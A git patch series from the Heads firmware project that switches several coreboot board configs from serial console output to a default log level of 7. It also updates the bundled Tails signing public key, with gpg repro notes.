-CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set diff --git a/config/coreboot-librem_l1um.config b/config/coreboot-librem_l1um.config index 3f46ca63c..c1175b229 100644 --- a/config/coreboot-librem_l1um.config +++ b/config/coreboot-librem_l1um.config @@ -93,7 +93,6 @@ CONFIG_FSP_FILE="3rdparty/fsp/BroadwellDEFspBinPkg/FspBin/BROADWELLDE_FSP.bin" CONFIG_CBFS_SIZE=0xC00000 CONFIG_ENABLE_FSP_FAST_BOOT=y CONFIG_VIRTUAL_ROM_SIZE=0x1000000 -CONFIG_UART_FOR_CONSOLE=0 CONFIG_MAINBOARD_VENDOR="Purism" CONFIG_IRQ_SLOT_COUNT=18 # CONFIG_ONBOARD_VGA_IS_PRIMARY is not set @@ -122,7 +121,6 @@ CONFIG_TPM_INIT=y CONFIG_DRIVERS_UART_8250IO=y CONFIG_DIMM_MAX=4 CONFIG_TPM_PIRQ=0x0 -CONFIG_TTYS0_LCS=3 CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem Server L1UM" CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_l1um/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_l1um/me.bin" @@ -199,7 +197,6 @@ CONFIG_FSP_HEADER_PATH="$(top)/3rdparty/fsp/BroadwellDEFspBinPkg/include/" CONFIG_PCIEXP_COMMON_CLOCK=y # CONFIG_PCIEXP_CLK_PM is not set CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_TTYS0_BASE=0x3f8 CONFIG_SOC_INTEL_FSP_BROADWELL_DE=y CONFIG_HPET_MIN_TICKS=0x80 CONFIG_BROADWELL_DE_FSP_SPECIFIC_OPTIONS=y @@ -582,28 +579,12 @@ CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y # Console # CONFIG_SQUELCH_EARLY_SMP=y -CONFIG_CONSOLE_SERIAL=y - -# -# I/O mapped, 8250-compatible -# - -# -# Serial port base address = 0x3f8 -# -# CONFIG_CONSOLE_SERIAL_921600 is not set -# CONFIG_CONSOLE_SERIAL_460800 is not set -# CONFIG_CONSOLE_SERIAL_230400 is not set -CONFIG_CONSOLE_SERIAL_115200=y -# CONFIG_CONSOLE_SERIAL_57600 is not set -# CONFIG_CONSOLE_SERIAL_38400 is not set -# CONFIG_CONSOLE_SERIAL_19200 is not set -# CONFIG_CONSOLE_SERIAL_9600 is not set -CONFIG_TTYS0_BAUD=115200 +# CONFIG_CONSOLE_SERIAL is not set # CONFIG_SPKMODEM is not set # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set # CONFIG_CONSOLE_SPI_FLASH is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y @@ -686,7 +667,6 @@ CONFIG_HAVE_DISPLAY_MTRRS=y # # General Debug Settings # -# CONFIG_GDB_STUB is not set # CONFIG_FATAL_ASSERTS is not set # CONFIG_DEBUG_CBFS is not set # CONFIG_HAVE_DEBUG_RAM_SETUP is not set diff --git a/config/coreboot-p8z77-m_pro-tpm1.config b/config/coreboot-p8z77-m_pro-tpm1.config index 1a60ff604..50c8b9daf 100644 --- a/config/coreboot-p8z77-m_pro-tpm1.config +++ b/config/coreboot-p8z77-m_pro-tpm1.config @@ -118,7 +118,7 @@ CONFIG_FMDFILE="" # CONFIG_NO_POST is not set CONFIG_MAINBOARD_VENDOR="ASUS" CONFIG_CBFS_SIZE=0x7E7000 -CONFIG_CONSOLE_SERIAL=y +# CONFIG_CONSOLE_SERIAL is not set CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 CONFIG_MAX_CPUS=8 @@ -586,8 +586,8 @@ CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_SPI_FLASH is not set # CONFIG_CONSOLE_I2C_SMBUS is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6=y +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set diff --git a/config/coreboot-qemu-fbwhiptail-tpm1-hotp.config b/config/coreboot-qemu-fbwhiptail-tpm1-hotp.config index 6c184c26a..bd6332139 100644 --- a/config/coreboot-qemu-fbwhiptail-tpm1-hotp.config +++ b/config/coreboot-qemu-fbwhiptail-tpm1-hotp.config @@ -13,7 +13,7 @@ CONFIG_UART_PCI_ADDR=0 CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_USER_TPM1=y CONFIG_TPM_MEASURED_BOOT=y -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" diff --git a/config/coreboot-qemu-tpm1.config b/config/coreboot-qemu-tpm1.config index 104371b7a..51bc7b1fd 100644 --- a/config/coreboot-qemu-tpm1.config +++ b/config/coreboot-qemu-tpm1.config @@ -458,19 +458,19 @@ CONFIG_CONSOLE_CBMEM=y CONFIG_CONSOLE_QEMU_DEBUGCON=y CONFIG_CONSOLE_QEMU_DEBUGCON_PORT=0x402 # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6=y +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=6 +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y CONFIG_CONSOLE_USE_ANSI_ESCAPES=y # CONFIG_CMOS_POST is not set -CONFIG_HWBASE_DEBUG_NULL=y +CONFIG_HWBASE_DEBUG_CB=y # end of Console CONFIG_HAVE_MONOTONIC_TIMER=y @@ -545,6 +545,7 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_BOOT_STATE is not set # CONFIG_DEBUG_ADA_CODE is not set diff --git a/config/coreboot-qemu-tpm2.config b/config/coreboot-qemu-tpm2.config index aea23cf93..56ce7eb90 100644 --- a/config/coreboot-qemu-tpm2.config +++ b/config/coreboot-qemu-tpm2.config @@ -451,19 +451,19 @@ CONFIG_CONSOLE_CBMEM=y CONFIG_CONSOLE_QEMU_DEBUGCON=y CONFIG_CONSOLE_QEMU_DEBUGCON_PORT=0x402 # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6=y +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=6 +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y CONFIG_CONSOLE_USE_ANSI_ESCAPES=y # CONFIG_CMOS_POST is not set -CONFIG_HWBASE_DEBUG_NULL=y +CONFIG_HWBASE_DEBUG_CB=y # end of Console CONFIG_HAVE_MONOTONIC_TIMER=y @@ -538,6 +538,7 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_BOOT_STATE is not set # CONFIG_DEBUG_ADA_CODE is not set diff --git a/config/coreboot-t430-legacy-flash.config b/config/coreboot-t430-legacy-flash.config index 464ed808c..14e96a54f 100644 --- a/config/coreboot-t430-legacy-flash.config +++ b/config/coreboot-t430-legacy-flash.config @@ -555,7 +555,7 @@ CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_SPI_FLASH is not set # CONFIG_CONSOLE_I2C_SMBUS is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set diff --git a/config/coreboot-t520-maximized.config b/config/coreboot-t520-maximized.config index 6f4c09c08..a90978bd1 100644 --- a/config/coreboot-t520-maximized.config +++ b/config/coreboot-t520-maximized.config @@ -581,9 +581,9 @@ CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_SPI_FLASH is not set # CONFIG_CONSOLE_I2C_SMBUS is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set diff --git a/config/coreboot-t530-dgpu-maximized.config b/config/coreboot-t530-dgpu-maximized.config index 691bf60a3..85813cb21 100644 --- a/config/coreboot-t530-dgpu-maximized.config +++ b/config/coreboot-t530-dgpu-maximized.config @@ -622,9 +622,9 @@ CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_SPI_FLASH is not set # CONFIG_CONSOLE_I2C_SMBUS is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set diff --git a/config/coreboot-w530-dgpu-K1000m-maximized.config b/config/coreboot-w530-dgpu-K1000m-maximized.config index 1c15224fb..3d0203766 100644 --- a/config/coreboot-w530-dgpu-K1000m-maximized.config +++ b/config/coreboot-w530-dgpu-K1000m-maximized.config @@ -623,9 +623,9 @@ CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_SPI_FLASH is not set # CONFIG_CONSOLE_I2C_SMBUS is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set diff --git a/config/coreboot-w530-dgpu-K2000m-maximized.config b/config/coreboot-w530-dgpu-K2000m-maximized.config index 4906298a2..8adc787fc 100644 --- a/config/coreboot-w530-dgpu-K2000m-maximized.config +++ b/config/coreboot-w530-dgpu-K2000m-maximized.config @@ -623,9 +623,9 @@ CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_SPI_FLASH is not set # CONFIG_CONSOLE_I2C_SMBUS is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set diff --git a/config/coreboot-w530-maximized.config b/config/coreboot-w530-maximized.config index ae1ae5e24..8d4a35eb7 100644 --- a/config/coreboot-w530-maximized.config +++ b/config/coreboot-w530-maximized.config @@ -593,18 +593,18 @@ CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_SPI_FLASH is not set # CONFIG_CONSOLE_I2C_SMBUS is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=5 +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_NULL=y +CONFIG_HWBASE_DEBUG_CB=y # end of Console CONFIG_HAVE_ACPI_RESUME=y @@ -683,6 +683,7 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set # CONFIG_DEBUG_BOOT_STATE is not set diff --git a/config/coreboot-x230-legacy-flash.config b/config/coreboot-x230-legacy-flash.config index a2b3d0efa..d0cfe88ae 100644 --- a/config/coreboot-x230-legacy-flash.config +++ b/config/coreboot-x230-legacy-flash.config @@ -572,8 +572,8 @@ CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set # CONFIG_CONSOLE_SPI_FLASH is not set # CONFIG_CONSOLE_I2C_SMBUS is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set @@ -581,7 +581,7 @@ CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y CONFIG_CONSOLE_USE_ANSI_ESCAPES=y CONFIG_HWBASE_DEBUG_CB=y @@ -664,10 +664,8 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set # CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_RESOURCES is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_FUNC is not set # CONFIG_DEBUG_BOOT_STATE is not set # CONFIG_DEBUG_ADA_CODE is not set # CONFIG_DEBUG_ACPICA_COMPATIBLE is not set diff --git a/config/coreboot-z220-cmt.config b/config/coreboot-z220-cmt.config index d4c965eb9..cb17a7ad3 100644 --- a/config/coreboot-z220-cmt.config +++ b/config/coreboot-z220-cmt.config @@ -118,14 +118,13 @@ CONFIG_FMDFILE="" # CONFIG_NO_POST is not set CONFIG_MAINBOARD_VENDOR="HP" CONFIG_CBFS_SIZE=0xFE4FFF -CONFIG_CONSOLE_SERIAL=y +# CONFIG_CONSOLE_SERIAL is not set CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_POST_DEVICE=y CONFIG_POST_IO=y -CONFIG_UART_FOR_CONSOLE=0 CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set CONFIG_VARIANT_DIR="z220_cmt_workstation" @@ -189,7 +188,6 @@ CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="PNP0F13" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" -CONFIG_TTYS0_BAUD=115200 CONFIG_D3COLD_SUPPORT=y CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_L1_SUB_STATE=y @@ -560,31 +558,14 @@ CONFIG_RTC=y CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y - -# -# I/O mapped, 8250-compatible -# -CONFIG_TTYS0_BASE=0x3f8 - -# -# Serial port base address = 0x3f8 -# -# CONFIG_CONSOLE_SERIAL_921600 is not set -# CONFIG_CONSOLE_SERIAL_460800 is not set -# CONFIG_CONSOLE_SERIAL_230400 is not set -CONFIG_CONSOLE_SERIAL_115200=y -# CONFIG_CONSOLE_SERIAL_57600 is not set -# CONFIG_CONSOLE_SERIAL_38400 is not set -# CONFIG_CONSOLE_SERIAL_19200 is not set -# CONFIG_CONSOLE_SERIAL_9600 is not set -CONFIG_TTYS0_LCS=3 # CONFIG_SPKMODEM is not set # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set # CONFIG_CONSOLE_SPI_FLASH is not set # CONFIG_CONSOLE_I2C_SMBUS is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set @@ -592,7 +573,7 @@ CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y CONFIG_CONSOLE_USE_ANSI_ESCAPES=y # CONFIG_CMOS_POST is not set @@ -680,11 +661,8 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set # CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_RESOURCES is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_INTEL_ME is not set -# CONFIG_DEBUG_FUNC is not set # CONFIG_DEBUG_BOOT_STATE is not set # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y From f98553cec54de66fb8ea4f2241f19c68271fb451 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 7 Sep 2024 14:57:46 -0400 Subject: [PATCH 260/619] etc/distro/keys/tails.key: signing key changed again... Repro notes per last update at https://github.com/linuxboot/heads/pull/1631#issue-2224043052 rm -rf /tmp/tails-signing/ wget -q https://tails.boum.org/tails-signing.key -O tails-signing.key mkdir -p /tmp/tails-signing/ gpg --home /tmp/tails-signing/ --import tails-signing.key gpg --home /tmp/tails-signing/ --export --armor --export-options export-minimal,export-clean tails@boum.org > ~/heads/initrd/etc/distro/keys/tails.key Signed-off-by: Thierry Laurion --- initrd/etc/distro/keys/tails.key | 633 +++++++++++++++++-------------- 1 file changed, 348 insertions(+), 285 deletions(-) diff --git a/initrd/etc/distro/keys/tails.key b/initrd/etc/distro/keys/tails.key index 76d72d98c..2c6294985 100644 --- a/initrd/etc/distro/keys/tails.key +++ b/initrd/etc/distro/keys/tails.key @@ -13,290 +13,353 @@ NMWZ5vBShQ+bpBXh55fu3F7axequpWzocRfH+mfvBh5yvZnjDRGC3UZ06CFWN6JP 8wDFR+o8ZHSsq0Gx/2mIXVsJT6h0mF92Q1iqH2SQhFeRL3M+RcED6Bx33QARAQAB tEJUYWlscyBkZXZlbG9wZXJzIChvZmZsaW5lIGxvbmctdGVybSBpZGVudGl0eSBr ZXkpIDx0YWlsc0Bib3VtLm9yZz6JAlQEEwEKAD4CGwEFCwkIBwMFFQoJCAsFFgID -AQACHgECF4AWIQSkkND00xGkFT4rt8rbuAKyWKzYTwUCZRvd6gUJEtjtVwAKCRDb -uAKyWKzYT9ZzD/44UItTNsb67wbag45lsMd+9gnr4xto+Hjj6M7ndVclT81c/tP4 -afJOZFSj3PcfIqRyJncE1VUsSftsUu0gc4cegA28FNz3J+e6CWF3VIfI6J4ApSuT -QN0Sf3ta5i04JB9Omv4Ttj5O8LCIQInt0RsZiH+ZqxZ7G2baUwHcqCuSROka+l33 -7bgvMluzvv51xZijAga+J8wbjS/wg9X5zJUtJrOJj/cHg0dSs10xbCyVrLLSdOa/ -CwRouSQ6z6ENNyHAhLv+xgqNCGAJRn9zXMB8oepZ6lSnSxhnhFAAt4Kstxg0LG6R -sNHV/Daxk2pzKzZUro6OSLxBp/MTgHcQW2OxTGlCz9zpi/sxMhr/EDYqLFC8OSxQ -qm+4kbIjHlajEw2KAyYvOXFQzaWzJB9vBvN5f+OK6QZEhC+LNhIZ4pZ9+DDbJS7z -SZ2x83viBeSnqO9A2so5+fcR+xixnpoyDnah/6YJ9Wl7oBa+qKqY+PDVeXUEl8Y6 -FxZ2FELPaYHo0lyRX2M1eD910unn6WUAIb/cT7q4t1xvxaDTOV6OfMbqcwc8e1G4 -gI4kY7JoqlUydOAFKpsEzZBq7Bz7Ojw9wEQen7viEajg8namfCFJtC3a3P7obGcG -KTlKcl7vdjDXo+JiPtclaq3xewqADbiDoqdrFWljop5sm0IAPzNdauzW97QhVGFp +AQACHgECF4AWIQSkkND00xGkFT4rt8rbuAKyWKzYTwUCZk8i+AUJFKpmaQAKCRDb +uAKyWKzYT55PEACUUhiWnyzvvZeOBRBG8xIesrIVL6aeqpNrTdjAAZkYrscLQvTV +d/oEnwFbJSUSxJ7cCEPm9PFAZEB4LOu8VMj1kQlxaoXQHIdGHFVnqyHdxjI2V+sP +ZXZDfzHMHwvMwwggc7M8Ubzy1rjSIuNiVEWxBnu1grHZ7RWHJQ30T4kyd3kQZR3K +bE1CuN2x5PDZAkeG/twl26FZmY9p65YWCwfr0zcXEmEBjUQ/mWpTp1weL7q13Hq6 +zoo9sLQpnrfLQU50BbJ6ny2kZ7vqJDukBp/CHB02dzpU8fivMtGRy4r7aZM/OWof +tfhoF7BVD5vNchgfhSEzx95fLrLCp9snT6xw5h1ARKbymFq7CB7RQ4MNo8UZkayo +ksQ8KI7I1AVo6XMJtLyOQAhT+9duUH0TLFsNATGsua0Es13A0S3StPk9YXvzHHe7 +OSefu/MENsdKM5k/lfmL2NXxM3sz9fIfnuyGLQCiarPXQ8/GnfCFg4xzW4d6I+Xf +TQ/L9Kg4U8nMMTj6MVf7A/PFrTnrHVA6Lu178y26ppiNV9LynQIuqbo0FpS13POL +7as8IF+hRfG3vB/S5pQEqVXTrGTfyvbitTEIqeG2fXf30n+lOQVcuhaUFoE+5YYy +RAoIal6dLOPhk7m85e+/zaTF2AvMJsyZH7B3E6ppZzN2v+XzHDpJ9XKe1LQhVGFp bHMgZGV2ZWxvcGVycyA8dGFpbHNAYm91bS5vcmc+iQJUBBMBCgA+AhsBBQsJCAcD -BRUKCQgLBRYCAwEAAh4BAheAFiEEpJDQ9NMRpBU+K7fK27gCslis2E8FAmUb3eYF -CRLY7VcACgkQ27gCslis2E/KEBAAiBwOFJBdDtmVmRBiUGEKBu/ripja7LeNC6ny -xmqX7F2Tda7mTcLXQTjcY7TDzNbtkf7iYrb9ZQimLrpYVZD+wrjHUO2332xkRb8Y -gObxQQFFUrfBaDAGtOFLfnw3C7ZCA5DgKDchhbtlenEtG7KZkvJyva6AoIoLgnuf -IpCKDwYRKV5F2OahNpPmWI2iRuvqxCgLehbJOIgiQ+QpdeoPcNnMSgg1gNq6DTrQ -PjQgmBdu/6lAgnscQqvv4//aLpQQPebfafpjnHDzlmEZ9Ax4gQ2eUD6rLNnuHc7g -7QfyhxI7nL1rN7VTA3lS5r1R0pEDIiUXH563nHYFsLQHpM98TWqkb3gvJFQO5zKq -tFZkgRcO+7PKtJFEZbMbLHgol9jTIVUe/sMzH0RbVCfuzJRpRwNmxs5isP1F3yET -NdA6UQOHbXsSnHYwmEQofvCF8lPTR2I2YHCxRKhoXnrhjPHAB2CdEK/QXA4EQuZr -5rUS3GVDbIY+4l/VGUT+6XlT53YX8BM5c4l4sSkwWVdelnKOXc0AWxHf9BK8zdya -FnLWL1OnQaCGxPXUzhcjw+j18r4Gwo6yrYzlW+SfUlVTAxFNapXyOgZkWxc9UyRO -7Z3o8IYsXflK1+9RmMNz7OJWJN1rLjhz66hl/PQw5QxlGlQgaI8TzQFsN8WbQUSZ -35q7WEm5Ag0EVLvBkgEQAMivp8Yhjdqpn5VHe6f/+JjvK3Wggp/O41Ud5c8M01gH -EAqtwKa5/IJrCqX3vvmgL7rlWNfrJzA9tkT+kz+IQBV5vGNU4zEgD6O3a8yWTCet -w/N/+BM7TNsEVLEQsn8LcyifgZsQ2nBSbpEv/2IPzh0rAlOdnMPLIWDSxBKqu4i0 -EABrSmgnTEWGnFCx0pKTj+Whmst36SgxjGbgrkkpRq57ubhjNfGAHHYqaTpsCjEK -h1DrfrBMnCjdvd43/GOZ6M02AVn2wB4sum++k6CTj6hE3eVTgS/BtdPQ4IqrhmwV 